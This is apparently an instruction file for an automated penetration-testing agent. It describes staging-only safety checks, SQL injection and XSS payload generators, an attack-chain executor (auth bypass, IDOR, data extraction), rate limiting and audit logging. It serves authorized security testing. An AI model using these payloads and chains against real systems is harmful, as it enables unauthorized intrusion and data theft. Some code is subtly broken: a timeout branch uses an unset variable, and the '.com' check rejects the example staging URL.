# Dynamic Penetration Testing Instructions

## Overview
Dynamic testing involves active exploitation of identified vulnerabilities in controlled test environments to confirm their exploitability and impact.

**⚠️ CRITICAL SAFETY RULES**:
1. NEVER test against production environments
2. ALWAYS verify environment is staging/test before execution
3. HALT immediately if service disruption detected
4. IMPLEMENT rate limiting and timeout controls
5. MAINTAIN audit logs of all actions

---

## Phase 1: Test Environment Validation

### Pre-Flight Checks

```python
def validate_test_environment(target_url):
    """
    Ensure target is safe for active testing.
    """
    
    # Check 1: Not production
    forbidden_patterns = [
        r'\.com$',
        r'prod',
        r'production',
        r'api\..*\.com'
    ]
    
    for pattern in forbidden_patterns:
        if re.search(pattern, target_url):
            raise SecurityError(f"Target appears to be production: {target_url}")
    
    # Check 2: Staging/test indicators
    safe_patterns = [
        r'staging',
        r'test',
        r'dev',
        r'localhost',
        r'127\.0\.0\.1'
    ]
    
    if not any(re.search(p, target_url) for p in safe_patterns):
        raise SecurityError(f"Cannot verify target is test environment: {target_url}")
    
    # Check 3: Authorization token
    if not has_testing_authorization():
        raise SecurityError("Missing testing authorization token")
    
    return True
```

### Environment Configuration

Required environment variables:
```bash
PENTEST_ENVIRONMENT=staging
PENTEST_AUTHORIZATION_TOKEN=<token>
PENTEST_MAX_RPS=2  # Requests per second
PENTEST_TIMEOUT=30  # Seconds
PENTEST_HALT_ON_ERROR=true
```

---

## Phase 2: Test Plan Generation

### Convert SAST Findings to Test Scenarios

```python
def generate_test_scenarios(sast_findings):
    """
    Transform static analysis findings into executable test cases.
    """
    
    scenarios = []
    
    for finding in sast_findings:
        if finding.category == "SQL_INJECTION":
            scenarios.append({
                "id": f"DYN-{finding.id}",
                "type": "sql_injection",
                "target_endpoint": extract_endpoint(finding),
                "vulnerable_parameter": extract_parameter(finding),
                "payloads": SQL_INJECTION_PAYLOADS,
                "confirmation_criteria": [
                    "error_message_disclosure",
                    "time_based_delay",
                    "data_extraction"
                ],
                "expected_responses": {
                    "vulnerable": [500, 200],
                    "error_patterns": ["SQL", "syntax error", "mysql_"]
                }
            })
        
        elif finding.category == "XSS":
            scenarios.append({
                "id": f"DYN-{finding.id}",
                "type": "xss",
                "target_endpoint": extract_endpoint(finding),
                "vulnerable_parameter": extract_parameter(finding),
                "payloads": XSS_PAYLOADS,
                "confirmation_criteria": [
                    "script_execution",
                    "reflected_payload"
                ]
            })
    
    return scenarios
```

### Test Scenario Structure

```json
{
  "id": "DYN-001",
  "type": "sql_injection",
  "priority": "high",
  "target": {
    "endpoint": "/api/auth/login",
    "method": "POST",
    "base_url": "https://staging.example.com"
  },
  "parameters": {
    "vulnerable_param": "username",
    "other_params": {
      "password": "test123"
    }
  },
  "payloads": [
    "' OR '1'='1",
    "' OR '1'='1' --",
    "admin' --"
  ],
  "confirmation": {
    "success_indicators": [
      "status_code: 200",
      "response_contains: 'welcome'",
      "response_time_normal: true"
    ],
    "vulnerability_confirmed_if": "authenticated without valid password"
  },
  "safety": {
    "max_attempts": 5,
    "delay_between_requests": 1.0,
    "rollback_action": null
  }
}
```

---

## Phase 3: Payload Generation

### Dynamic Payload Templates

```python
class PayloadGenerator:
    """
    Generates context-aware attack payloads.
    """
    
    def __init__(self):
        self.encodings = ['none', 'url', 'double_url', 'base64']
    
    def generate_sql_injection_payloads(self, context):
        """
        Generate SQL injection payloads based on context.
        
        Args:
            context: {
                'database': 'mysql',  # mysql, postgres, mssql, oracle
                'input_type': 'string',  # string, numeric
                'quote_type': 'single'  # single, double, none
            }
        """
        
        base_payloads = []
        
        if context['input_type'] == 'string':
            if context['quote_type'] == 'single':
                base_payloads = [
                    "' OR '1'='1",
                    "' OR '1'='1' --",
                    "' OR '1'='1' /*",
                    "admin' --",
                    "' UNION SELECT NULL--"
                ]
        
        # Database-specific payloads
        if context['database'] == 'mysql':
            base_payloads.extend([
                "' OR 1=1#",
                "' AND SLEEP(5)--",
                "' UNION SELECT 1,2,3,4,5--"
            ])
        elif context['database'] == 'postgres':
            base_payloads.extend([
                "' OR 1=1--",
                "'; SELECT pg_sleep(5)--"
            ])
        
        # Apply encodings
        all_payloads = []
        for payload in base_payloads:
            for encoding in self.encodings:
                all_payloads.append(self._encode(payload, encoding))
        
        return all_payloads
    
    def generate_xss_payloads(self, context):
        """
        Generate XSS payloads based on injection context.
        
        Args:
            context: {
                'location': 'html_body',  # html_body, attribute, script, url
                'sanitization': 'none'  # none, html_encode, js_encode
            }
        """
        
        payloads = []
        
        if context['location'] == 'html_body':
            payloads = [
                "<script>alert('XSS')</script>",
                "<img src=x onerror=alert('XSS')>",
                "<svg/onload=alert('XSS')>",
                "<iframe src='javascript:alert(\"XSS\")'>"
            ]
        
        elif context['location'] == 'attribute':
            payloads = [
                "\" onload=\"alert('XSS')\"",
                "' onload='alert('XSS')'",
                "javascript:alert('XSS')"
            ]
        
        return payloads
    
    def _encode(self, payload, encoding):
        if encoding == 'url':
            return urllib.parse.quote(payload)
        elif encoding == 'double_url':
            return urllib.parse.quote(urllib.parse.quote(payload))
        elif encoding == 'base64':
            return base64.b64encode(payload.encode()).decode()
        return payload
```

---

## Phase 4: Test Execution

### Safe Execution Framework

```python
class DynamicTestExecutor:
    """
    Executes attack scenarios with safety controls.
    """
    
    def __init__(self, environment_config):
        self.env = environment_config
        self.rate_limiter = RateLimiter(max_rps=2)
        self.circuit_breaker = CircuitBreaker(failure_threshold=3)
        self.audit_logger = AuditLogger()
    
    async def execute_scenario(self, scenario):
        """
        Execute a single test scenario.
        """
        
        # Validate environment
        validate_test_environment(scenario['target']['base_url'])
        
        # Log test initiation
        self.audit_logger.log({
            "action": "test_started",
            "scenario_id": scenario['id'],
            "target": scenario['target']['endpoint'],
            "timestamp": datetime.utcnow()
        })
        
        results = []
        
        for payload in scenario['payloads']:
            # Rate limiting
            await self.rate_limiter.acquire()
            
            # Circuit breaker check
            if self.circuit_breaker.is_open():
                self.audit_logger.log({
                    "action": "test_halted",
                    "reason": "circuit_breaker_open"
                })
                break
            
            try:
                result = await self._execute_single_test(scenario, payload)
                results.append(result)
                
                # Check for service disruption
                if result.caused_error:
                    self.circuit_breaker.record_failure()
                else:
                    self.circuit_breaker.record_success()
                
            except Exception as e:
                self.circuit_breaker.record_failure()
                self.audit_logger.log({
                    "action": "test_error",
                    "error": str(e),
                    "payload": payload
                })
        
        return self._analyze_results(results)
    
    async def _execute_single_test(self, scenario, payload):
        """
        Execute a single test with a specific payload.
        """
        
        # Build request
        url = f"{scenario['target']['base_url']}{scenario['target']['endpoint']}"
        method = scenario['target']['method']
        
        params = scenario['parameters']['other_params'].copy()
        params[scenario['parameters']['vulnerable_param']] = payload
        
        # Execute with timeout
        start_time = time.time()
        
        try:
            response = await asyncio.wait_for(
                self._send_request(method, url, params),
                timeout=30
            )
            
            elapsed_time = time.time() - start_time
            
            # Capture evidence
            evidence = {
                "request": {
                    "method": method,
                    "url": url,
                    "payload": payload,
                    "timestamp": datetime.utcnow()
                },
                "response": {
                    "status_code": response.status_code,
                    "headers": dict(response.headers),
                    "body": response.text[:1000],  # Truncate
                    "elapsed_time": elapsed_time
                }
            }
            
            # Analyze response
            is_vulnerable = self._check_vulnerability_indicators(
                response,
                scenario['confirmation']
            )
            
            return TestResult(
                payload=payload,
                vulnerable=is_vulnerable,
                evidence=evidence,
                caused_error=(response.status_code >= 500)
            )
            
        except asyncio.TimeoutError:
            # Time-based attack may have succeeded
            return TestResult(
                payload=payload,
                vulnerable=(elapsed_time > 29),  # Near timeout = possible time-based SQLi
                evidence={"timeout": True, "elapsed_time": elapsed_time}
            )
    
    def _check_vulnerability_indicators(self, response, confirmation_criteria):
        """
        Determine if response indicates vulnerability.
        """
        
        indicators_matched = 0
        
        for indicator in confirmation_criteria['success_indicators']:
            if ':' in indicator:
                check_type, check_value = indicator.split(':', 1)
                
                if check_type == 'status_code':
                    if response.status_code == int(check_value):
                        indicators_matched += 1
                
                elif check_type == 'response_contains':
                    if check_value.strip("'\"") in response.text.lower():
                        indicators_matched += 1
        
        # Check for vulnerability-specific patterns
        vuln_patterns = confirmation_criteria.get('vulnerability_patterns', [])
        for pattern in vuln_patterns:
            if re.search(pattern, response.text, re.IGNORECASE):
                return True  # Definite vulnerability
        
        # Require majority of indicators
        return indicators_matched >= len(confirmation_criteria['success_indicators']) / 2
```

---

## Phase 5: Attack Chains

### Multi-Step Attack Orchestration

```python
class AttackChainExecutor:
    """
    Executes multi-step attack scenarios.
    
    Example: Auth bypass → IDOR → Data exfiltration
    """
    
    async def execute_attack_chain(self, chain):
        """
        Execute sequential attacks, passing state between steps.
        
        Args:
            chain: {
                'steps': [
                    {'type': 'auth_bypass', 'target': '...'},
                    {'type': 'idor', 'target': '...', 'requires': 'auth_token'},
                    {'type': 'data_exfil', 'target': '...', 'requires': 'auth_token'}
                ]
            }
        """
        
        state = {}  # Shared state between steps
        results = []
        
        for step in chain['steps']:
            # Check if prerequisites met
            if 'requires' in step:
                if step['requires'] not in state:
                    results.append({
                        "step": step['type'],
                        "status": "skipped",
                        "reason": f"Missing prerequisite: {step['requires']}"
                    })
                    break
            
            # Execute step
            result = await self.execute_step(step, state)
            results.append(result)
            
            # Update shared state
            if result.success:
                state.update(result.extracted_data)
            else:
                break  # Chain broken
        
        return AttackChainResult(
            chain_id=chain['id'],
            steps_completed=len(results),
            success=all(r.get('status') == 'success' for r in results),
            results=results
        )
    
    async def execute_step(self, step, state):
        """
        Execute a single step in attack chain.
        """
        
        if step['type'] == 'auth_bypass':
            # Try to bypass authentication
            response = await self._attempt_auth_bypass(step['target'])
            
            if 'token' in response.json():
                return StepResult(
                    success=True,
                    extracted_data={'auth_token': response.json()['token']}
                )
        
        elif step['type'] == 'idor':
            # Use auth token to access unauthorized resource
            headers = {'Authorization': f"Bearer {state['auth_token']}"}
            response = await self._attempt_idor(step['target'], headers)
            
            if response.status_code == 200:
                return StepResult(
                    success=True,
                    extracted_data={'user_data': response.json()}
                )
        
        return StepResult(success=False)
```

---

## Phase 6: Results Analysis

### Vulnerability Confirmation

```python
def confirm_vulnerability(test_results):
    """
    Analyze test results to definitively confirm vulnerability.
    
    Confidence levels:
    - HIGH: Clear exploitation demonstrated
    - MEDIUM: Strong indicators but not definitive
    - LOW: Weak signals, likely false positive
    """
    
    # Count successful exploits
    successful_payloads = [r for r in test_results if r.vulnerable]
    
    if len(successful_payloads) >= 3:
        # Multiple payloads worked = HIGH confidence
        return VulnerabilityConfirmation(
            confirmed=True,
            confidence="HIGH",
            evidence=successful_payloads[:3],  # Include top 3
            recommendation="Immediate remediation required"
        )
    
    elif len(successful_payloads) == 1:
        # Only one payload worked = MEDIUM confidence
        return VulnerabilityConfirmation(
            confirmed=True,
            confidence="MEDIUM",
            evidence=successful_payloads,
            recommendation="Manual verification recommended"
        )
    
    else:
        # No payloads worked = Not vulnerable
        return VulnerabilityConfirmation(
            confirmed=False,
            confidence="HIGH",
            evidence=[],
            recommendation="No active vulnerability detected"
        )
```

---

## Phase 7: Evidence Collection

### Capture Proof of Exploitation

```python
class EvidenceCollector:
    """
    Captures comprehensive evidence of successful exploits.
    """
    
    def collect_evidence(self, test_result):
        """
        Gather all evidence for reporting.
        """
        
        evidence = {
            "timestamp": datetime.utcnow().isoformat(),
            "test_id": test_result.id,
            "vulnerability_type": test_result.type,
            "payload": test_result.payload,
            "request": {
                "method": test_result.request.method,
                "url": test_result.request.url,
                "headers": self._sanitize_headers(test_result.request.headers),
                "body": test_result.request.body
            },
            "response": {
                "status_code": test_result.response.status_code,
                "headers": dict(test_result.response.headers),
                "body_snippet": test_result.response.text[:500],
                "elapsed_time": test_result.elapsed_time
            },
            "screenshots": [],
            "logs": test_result.logs
        }
        
        # For XSS, capture screenshot if available
        if test_result.type == 'xss' and test_result.screenshot:
            evidence['screenshots'].append({
                "description": "XSS alert execution",
                "image_data": test_result.screenshot
            })
        
        return evidence
    
    def _sanitize_headers(self, headers):
        """Remove sensitive data from headers."""
        sanitized = headers.copy()
        for key in ['Authorization', 'Cookie', 'X-API-Key']:
            if key in sanitized:
                sanitized[key] = '[REDACTED]'
        return sanitized
```

---

## Safety Controls

### Rate Limiting

```python
class RateLimiter:
    def __init__(self, max_rps=2):
        self.max_rps = max_rps
        self.last_request_time = 0
    
    async def acquire(self):
        now = time.time()
        time_since_last = now - self.last_request_time
        required_delay = 1.0 / self.max_rps
        
        if time_since_last < required_delay:
            await asyncio.sleep(required_delay - time_since_last)
        
        self.last_request_time = time.time()
```

### Circuit Breaker

```python
class CircuitBreaker:
    def __init__(self, failure_threshold=3):
        self.failure_threshold = failure_threshold
        self.failure_count = 0
        self.state = 'CLOSED'  # CLOSED, OPEN, HALF_OPEN
    
    def record_failure(self):
        self.failure_count += 1
        if self.failure_count >= self.failure_threshold:
            self.state = 'OPEN'
            logger.critical("Circuit breaker opened - halting tests")
    
    def record_success(self):
        self.failure_count = 0
    
    def is_open(self):
        return self.state == 'OPEN'
```

---

## Audit Logging

All dynamic testing actions must be logged:

```json
{
  "timestamp": "2025-10-31T14:30:00Z",
  "action": "dynamic_test_executed",
  "test_id": "DYN-001",
  "target": "https://staging.example.com/api/auth/login",
  "payload": "' OR '1'='1",
  "result": "vulnerable",
  "response_code": 200,
  "operator": "pentesting-skill-v1.0",
  "authorization": "PENTEST-TOKEN-12345"
}
```

---

## Reporting Dynamic Test Results

Include in final report:

1. **Test Summary**
   - Total scenarios executed
   - Confirmed vulnerabilities
   - Confidence levels

2. **Evidence Package**
   - Request/response logs
   - Screenshots (for XSS/UI exploits)
   - Timing data (for time-based attacks)

3. **Exploitation Steps**
   - Exact reproduction steps
   - Payloads used
   - Expected vs actual results

4. **Business Impact**
   - Demonstrated harm (data accessed, functions bypassed)
   - Realistic attack scenarios

